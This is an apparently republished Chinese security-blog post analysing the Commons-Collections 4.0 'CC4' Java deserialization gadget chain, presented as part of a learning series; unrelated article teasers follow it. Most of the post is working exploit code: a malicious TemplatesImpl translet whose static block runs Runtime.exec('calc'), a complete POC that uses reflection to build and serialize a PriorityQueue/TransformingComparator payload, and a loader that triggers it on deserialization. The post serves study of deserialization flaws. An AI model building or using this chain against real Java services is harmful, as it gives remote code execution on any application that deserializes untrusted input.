Commons-Collections篇-CC4链分析

news2025/2/25 19:01:40

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

在这里插入图片描述

2.分析

我们继续在transform()处find usage,找到了TransformingComparator#compare()
在这里插入图片描述
在这里插入图片描述
这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
在这里插入图片描述
在这里插入图片描述
这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分
我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用
在这里插入图片描述
并且我们发现了PriorityQueue类的readObject方法
在这里插入图片描述
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}



package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        //序列化
        serializable(priorityQueue);

        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出,并没有继续执行下去
在这里插入图片描述
首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  
priorityQueue.add(2);
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        //序列化
//        serializable(priorityQueue);
//
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错
在这里插入图片描述
我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了
在这里插入图片描述

4.编写POC

我们对上面的进行总结,编写POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field trans = c.getDeclaredField("transformer");
        trans.setAccessible(true);
        trans.set(transformingComparator,chainedTransformer);
        //序列化
        serializable(priorityQueue);
//
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们运行反序列化POC,成功弹出

package org.example;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述
所以这次的链还是比较简单的,整体路线为:

PriorityQueue.readObject()
    PririPriorityQueuety.heapify()
        PririPriorityQueuety.siftDown()
            PririPriorityQueuety.siftDownUsingComparator()
                Comparator.compare()
                    instantiateTransformer.compare()
                    instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1823902.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

183.二叉树:二叉搜索树中的众数(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

WordPress实时搜索插件Ajax Search Lite,轻松替代默认搜索功能

WordPress自带的默认搜索功能是跳转到搜索结果页&#xff0c;如果你想要实时搜索功能&#xff0c;特别是在问答中心显示搜索功能&#xff0c;那么建议使用这个WordPress实时搜索插件Ajax Search Lite&#xff0c;它可以在文章、页面、自定义类型文章中搜索标题、内容、摘要、自…

图解Attention学习笔记

教程是来自https://github.com/datawhalechina/learn-nlp-with-transformers/blob/main/docs/ 图解Attention Attention出现的原因是&#xff1a;基于循环神经网络&#xff08;RNN&#xff09;一类的seq2seq模型&#xff0c;在处理长文本时遇到了挑战&#xff0c;而对长文本中…

重生之 SpringBoot3 入门保姆级学习(21、场景整合 Redis 定制对象序列化存储)

重生之 SpringBoot3 入门保姆级学习&#xff08;21、场景整合 Redis 定制对象序列化存储&#xff09; 6.4 定制化 6.4 定制化 需求&#xff1a;保存一个 Person 对象到 redis 创建 Person 类 package com.zhong.redis.entity;import lombok.AllArgsConstructor; import lombok…

13.ChatGPT 大模型训练核心技术

ChatGPT 大模型训练核心技术 从 GPT-3 到 ChatGPT 的大模型训练技术演进 基于RLHF训练大模型的三阶段 • Domain Specific Pre-Training: Fine-tune a pre-trained LLM on raw text with a Causal Language Modelling Objective.• Supervised fine-tuning: Fine-tune the do…

Confluence是否免费?你需要知道的都在这里!

根据Atlassian官方信息&#xff0c;可以确定的是 Confluence 并不免费&#xff0c;但为10人以下团队提供了免费版本。免费版可以使用不限量的页面、空间&#xff0c;但只有2GB的存储空间和3个活动白板。但国内有不少公司通过使用破解版的方式来免费使用Cofluence。下面本文将详…

排阻A103J

1.定义&#xff1a; 排阻&#xff0c;即网络电阻器。排阻是将若干个参数完全相同的电阻集中封装在一起&#xff0c;组成制成的。排阻一般应用在数字电路上&#xff0c;比如&#xff1a;作为某个并行口的上拉或者下拉电阻用。使用排阻比用若干只固定电阻更方便。 排阻是将若干…

vue+intro.js实现引导功能

前言&#xff1a; 使用 intro.js这个插件&#xff0c;来实现一个引导性的效果&#xff0c;适用场景&#xff0c;比如&#xff1a;新手引导页&#xff0c;操作说明等等 效果图&#xff1a; 官网地址&#xff1a;点我 实现步骤&#xff1a; 1、安装 npm install intro.js --sa…

Spring Boot集成Timefold Solver实现课程表编排

1. 什么是Timefold Solver&#xff1f; 每个组织都面临规划问题&#xff1a;使用一组有限的资源&#xff08;员工、资产、时间和金钱&#xff09;提供产品或服务。Timefold Solver 优化了此类规划&#xff0c;以更少的资源开展更多业务。这被称为约束满足编程&#xff08;属于…

LeetCode | 168.Excel表列名称

这道题一开始以为是简单的进制转换问题&#xff0c;用的以往的思路&#xff0c;对于一般性的进制转换题目&#xff0c;只需要不断地对 columnNumber 进行 % 运算取得最后一位&#xff0c;然后对 columnNumber 进行 / 运算&#xff0c;将已经取得的位数去掉&#xff0c;直到 col…

ABB 和PLC ProfinN 通信

1,设置IP 地址 2&#xff0c; 设置站名称 3&#xff0c; 修改传送区大小 4,配置DI DO 5,导出 6&#xff0c;安装gsd 文件 7&#xff0c;建立通信

LeetCode --- 132双周赛

题目列表 3174. 清除数字 3175. 找到连续赢 K 场比赛的第一位玩家 3176. 求出最长好子序列 I 3177. 求出最长好子序列 II 一、清理数字 这题直接根据题目&#xff0c;进行模拟即可&#xff0c;大体的思路是遍历字符串&#xff0c;遇到字母就加入答案&#xff0c;遇到数字就…

android studio 自定义类注释模版

perferences>File and Code Templates>Class 填写&#xff1a; /*** ClassName: ${ClassName}* Description: ${Description}* Author: ${Author}* CreateDate: ${CreateDate}* UpdateUser: ${UpdateUser}* UpdateDate: ${UpdateDate}* UpdateRemark: ${UpdateRemark}* …

Spring boot 启动报:Do not use @ for indentation

一、使用maven插件动态切换配置时出现报错 二、配置文件及pom 2.1 配置文件结构 2.2 application.yml spring: # 根据环境读取配置文件&#xff08;手动&#xff09; # profiles: # active: dev# 根据环境读取配置文件&#xff08;通过勾选maven插件&#xff09;profiles…

Python时间序列分析库

Sktime Welcome to sktime — sktime documentation 用于ML/AI和时间序列的统一API,用于模型构建、拟合、应用和验证支持各种学习任务,包括预测、时间序列分类、回归、聚类。复合模型构建,包括具有转换、集成、调整和精简功能的管道scikit学习式界面约定的交互式用户体验Pro…

如何应对生活中的不确定性:仁者安仁,知者利仁。

有较高自尊水平的人&#xff0c;接近于孔子说的&#xff1a;仁者。 ——— 有着稳定的高自尊&#xff0c;无论外在环境如何变化&#xff0c;对其影响都不大&#xff0c;他能够愉快地生活。 相反&#xff1a;一个人处于低自尊状态&#xff0c;就会活得很痛苦&#xff0c;对自己…

俄罗斯Yandex推广投放如何开户?Yandex广告开户和代运营推广流程详解_俄罗斯_受众_搜索引擎

在俄罗斯进行Yandex广告推广是一种有效的在线营销方式&#xff0c;特别是针对俄罗斯市场。Yandex是俄罗斯最受欢迎的搜索引擎&#xff0c;类似于Google在全球范围内的地位。以下是通过Yandex广告推广的一般步骤&#xff0c;以及如何通过上海上弦进行广告开户和代运营。 1. Yan…

Stringboot

一、概述 springboot是spring家族中的一个全新框架&#xff0c;用来简化spring程序的创建和开发过程。在以往我们通过SpringMVCSpringMybatis框架进行开发的时候&#xff0c;我们需要配置web.xml&#xff0c;spring配置&#xff0c;mybatis配置&#xff0c;然后整合在一起&…

明天二战六级

明天二战六级&#xff0c;各位程序员们&#xff0c;加油

活动集锦 | 英码科技积极参与行业盛会,AI赋能城市数字化转型

在当今数字经济时代&#xff0c;城市全域数字化转型已经成为提升城市管理效能、优化资源配置、推动经济发展的重要手段。英码科技始终致力于为企业打造高效、低成本的行业应用方案&#xff0c;助力企业实现数字化转型。近日&#xff0c;英码科技受邀参加了多场行业展示活动&…